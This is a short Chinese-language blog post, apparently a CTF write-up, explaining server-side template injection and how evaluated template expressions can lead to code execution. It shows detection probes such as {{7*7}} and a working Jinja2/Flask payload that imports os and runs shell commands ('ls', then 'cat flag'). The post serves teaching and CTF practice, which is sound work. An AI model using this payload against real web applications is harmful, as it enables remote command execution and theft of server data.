想必大家都有遇過把變數丟進模板、結果畫面莫名顯示奇怪東西的經驗吧?或是在模板裡丟個小表達式想試個效果,結果程式跑出意外結果。其實這背後的秘密就是——模板引擎會執行你給它的東西。
模板引擎通常會暴露語言內建的功能(字串/函式/物件存取),若能藉由模板語法探索物件型態(mro、class、globals 等),就可能從資料讀取、執行系統命令到取得任意程式碼執行(RCE)。不同模板引擎可利用的技巧差異很大,但一旦能評估任意表達式,風險就非常高。
{{ ... }}
,可透過物件探索走到 __class__
、__mro__
等。{{ ... }}
,也能存取物件/函式。<%= ... %>
,可執行 Ruby 表達式。要注意:每個引擎行為不同,payload 必須針對引擎調整。
在新頁面或參數遇到模板渲染時,可以先做幾個簡單的測試來判斷是否存在 SSTI(只在自己 lab / CTF 測試):
{{7*7}}
→ 若頁面顯示 49
,表示輸入被當作模板表達式執行。{{'SSTI' + ' OK'}}
或 {{'SSTI'.upper()}}
(視引擎而定)查看是否被處理。我們先用{{7*7}}
確認這題有SSTI漏洞,顯示49就代表有漏洞!
接下來我們用{{ request.application.__globals__.__builtins__.__import__('os').popen('ls').read() }}
執行ls
指令,可以發現一個叫flag的檔案
把上面那個payload的指令改為cat flag
,這樣就能成功獲得這題的flag啦
以上就是今天的內容啦
想看更多,記得明天再來喔~